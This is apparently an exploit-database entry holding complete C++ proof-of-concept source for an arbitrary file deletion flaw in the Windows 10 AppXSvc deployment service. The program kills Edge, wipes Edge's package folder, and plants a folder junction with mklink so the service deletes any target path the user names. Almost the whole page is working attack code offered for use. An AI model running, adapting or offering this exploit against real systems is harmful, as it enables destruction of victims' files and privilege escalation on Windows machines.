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"Microsoft Windows 10 AppXSvc Deployment Service - Arbitrary File Deletion"

Author

Exploit author

"Abdelhamid Naceri"

Platform

Exploit platform

windows

Release date

Exploit published date

2019-08-14

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/*
# Author : Abdelhamid Naceri
# Discovered On : 13/08/2019
# Description : An Elevation Of Privileges Exist when the microsoft AppXSvc
Deployment Service Cannot Properly Handle The Folder Junction lead to an arbitrary file deletion
from a low integrity user .
# Still Unpatched On 13/08/2019
Here Is A Demo Video https://youtu.be/jqYwMcNvTtM
*/
#include"windows.h"
#include"iostream"
#include"conio.h"
#include"stdio.h"
#include"tlhelp32.h"
#include"cstdio"
#include"wchar.h"
#include"process.h"
#include"wchar.h"
#include"string"
#include"tchar.h"

#pragma warning(disable : 4996)
#pragma comment(lib, "advapi32.lib")
#ifndef UNICODE  
typedef std::string String;
#else
typedef std::wstring String;
#endif

using namespace std;

bool FileExists(const wchar_t* file) {
	if (INVALID_FILE_ATTRIBUTES == GetFileAttributes(file) && GetLastError() == ERROR_FILE_NOT_FOUND)
	{
		return false;
	}
	else {
		return true;
	}
}

void remove_dir(const wchar_t* folder)
{
	std::wstring search_path = std::wstring(folder) + _T("/*.*");
	std::wstring s_p = std::wstring(folder) + _T("/");
	WIN32_FIND_DATA fd;
	HANDLE hFind = ::FindFirstFile(search_path.c_str(), &fd);
	if (hFind != INVALID_HANDLE_VALUE) {
		do {
			if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
				if (wcscmp(fd.cFileName, _T(".")) != 0 && wcscmp(fd.cFileName, _T("..")) != 0)
				{
					remove_dir((wchar_t*)(s_p + fd.cFileName).c_str());
				}
			}
			else {
				DeleteFile((s_p + fd.cFileName).c_str());
			}
		} while (::FindNextFile(hFind, &fd));
		::FindClose(hFind);
		_wrmdir(folder);
	}
}

void killProcessByName(const wchar_t* filename)
{
	HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
	PROCESSENTRY32 pEntry;
	pEntry.dwSize = sizeof(pEntry);
	BOOL hRes = Process32First(hSnapShot, &pEntry);
	while (hRes)
	{
		if (wcscmp(pEntry.szExeFile, filename) == 0)
		{
			HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
				(DWORD)pEntry.th32ProcessID);
			if (hProcess != NULL)
			{
				TerminateProcess(hProcess, 9);
				CloseHandle(hProcess);
			}
		}
		hRes = Process32Next(hSnapShot, &pEntry);
	}
	CloseHandle(hSnapShot);
}

bool IsProcessRunning(const wchar_t* processName)
{
	bool exists = false;
	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	if (Process32First(snapshot, &entry))
		while (Process32Next(snapshot, &entry))
			if (!_wcsicmp(entry.szExeFile, processName))
				exists = true;

	CloseHandle(snapshot);
	return exists;
}

bool dirExists(const std::string& dirName_in)
{
	DWORD ftyp = GetFileAttributesA(dirName_in.c_str());
	if (ftyp == INVALID_FILE_ATTRIBUTES)
		return false;

	if (ftyp & FILE_ATTRIBUTE_DIRECTORY)
		return true;

	return false;
}

void KillEdge()
{
	killProcessByName(L"MicrosoftEdge.exe");
}

void StartEdge() 
{
	try
	{
		system("start microsoft-edge:");
	}
	catch (...){}
}

void exploit(const char* path) {
	//Inintializing the variable before begining
	int attempt = 0;
	string command;
	wchar_t* userprofile = _wgetenv(L"USERPROFILE");
	const wchar_t* relpath = (L"\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe");
	//I created roaming path variable because sometime when i try to wipe ms-edge folder he deny the access so as a solution
	//I deleted him first
	const wchar_t* roamingpath = (L"\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\RoamingState");
	wstring froamingpath(userprofile);
	froamingpath += wstring(roamingpath);
	wstring fullpath(userprofile);
	fullpath += std::wstring(relpath);
	wchar_t* szBuffsrc = (wchar_t*)fullpath.c_str();
	wstring fpath(szBuffsrc);
	string strfpath(fpath.begin(), fpath.end());
	//Check If MS-Edge Need To Write DACL Or Not

	if (dirExists(strfpath) != true) { 
		printf("[!] Wait MS-Edge Need To Write The DACL");
		StartEdge();
		for (;;) {
			Sleep(1000);
			if (IsProcessRunning(L"MicrosoftEdge.exe") == true) { break; }
		}
		StartEdge();
		Sleep(7000);
		KillEdge();
		printf("\r                                      ");
	
	}

	//End Of Check
	printf("\r# Author : Abdelhamid Naceri\n");
	printf("# Tested On Windows 10 32&64bit\n");
	printf("# Description : A Vulnerabilitie Exist On Microsoft AppXSvc Deployement Service (\"wsappx\") Could Allow An Attacker To Arbitratry Delete Any File Exist On A Windows Machine\n");
	printf("[+] Checking If Path Exist ...");
	Sleep(2000);
	if (dirExists(path) != true) { 
		printf("Your Path Is Invalid"); 
		ExitProcess(EXIT_FAILURE); }
	else { 
		printf("Exist !\n");
		KillEdge();
		printf("[+] Starting MS-Edge ...\n");
		StartEdge();
		Sleep(4000);
		printf("[+] Killing MS-Edge ...\n");
		KillEdge();
		Sleep(3000);
		printf("[+] Wipping MS-Edge Directory ...\n");
		killProcessByName(L"dllhost.exe");//I Kill This Process Because Somethime He Lock The Files
		remove_dir(roamingpath);
		remove_dir(szBuffsrc);
		Sleep(2000);
		remove_dir(szBuffsrc);
		printf("[+] Checking If Directory Exist Anymore ...");
		if (dirExists(strfpath) == true) {
			
			if (dirExists(strfpath) == true) {
				printf("Something Went Wrong");
				printf("\n[!] You Should Delete The Files YourSelf Press Anything To Continue");
				command = "explorer ";
				command.append(strfpath);
				system(command.c_str());
				_getch();
				goto Continue;
			}
		}
		else {
Continue:
			printf(" Done\n");
			Sleep(3000);
			printf("[+] Attempting to Create Junction To Target ...\n");
			command = "mklink /J ";
			command.append("\"");
			command.append(strfpath);
			command.append("\"");
			command.append(" ");
			command.append("\"");
			command.append(path);
			command.append("\"");
			system(command.c_str());
			printf("Done\n");
			Sleep(3000);
			printf("[+] Firing Up MS-Edge Again ...\n");
			StartEdge();
			do { Sleep(1000);  } while (IsProcessRunning(L"MicrosoftEdge.exe"));
			Sleep(3000);
			StartEdge();
			command = "explorer ";
			command.append(path);
			printf("[!] If The Exploit Done , MS AppXSvc Will Wipe The Target Path\n");
			system(command.c_str());
			printf("[!] We Will Open Explorer In The Target Check Your Files If The File Deleted Press Anything To Clear The Exploit Files...\n");
			_getch();
			printf("Cleaning ...");
			_wremove(szBuffsrc);
			_wrmdir(szBuffsrc);
			ExitProcess(EXIT_SUCCESS);
		}
	}
}

int main(int argc, char* argv[]) {
	if (argc == 2) {exploit(argv[1]);}
	else { 
		printf("# Author : Abdelhamid Naceri\n");
		printf("# Tested On Windows 10 1903 32&64bit\n");
		printf("# Description : A Vulnerabilitie Exist On Microsoft AppXSvc Deployement Service (\"wsappx\") Could Allow An Attacker To Arbitratry Delete Any File Exist On A Windows Machine\n");
		printf("[!] Usage : poc.exe TargetPath");
	}
	return EXIT_SUCCESS;
}
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2019-11-25 "Microsoft Windows AppXsvc Deployment Extension - Privilege Escalation" local windows "Abdelhamid Naceri"
2019-08-14 "Microsoft Windows 10 AppXSvc Deployment Service - Arbitrary File Deletion" local windows "Abdelhamid Naceri"
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response = requests.get('http://127.0.0.1:8181?format=json')

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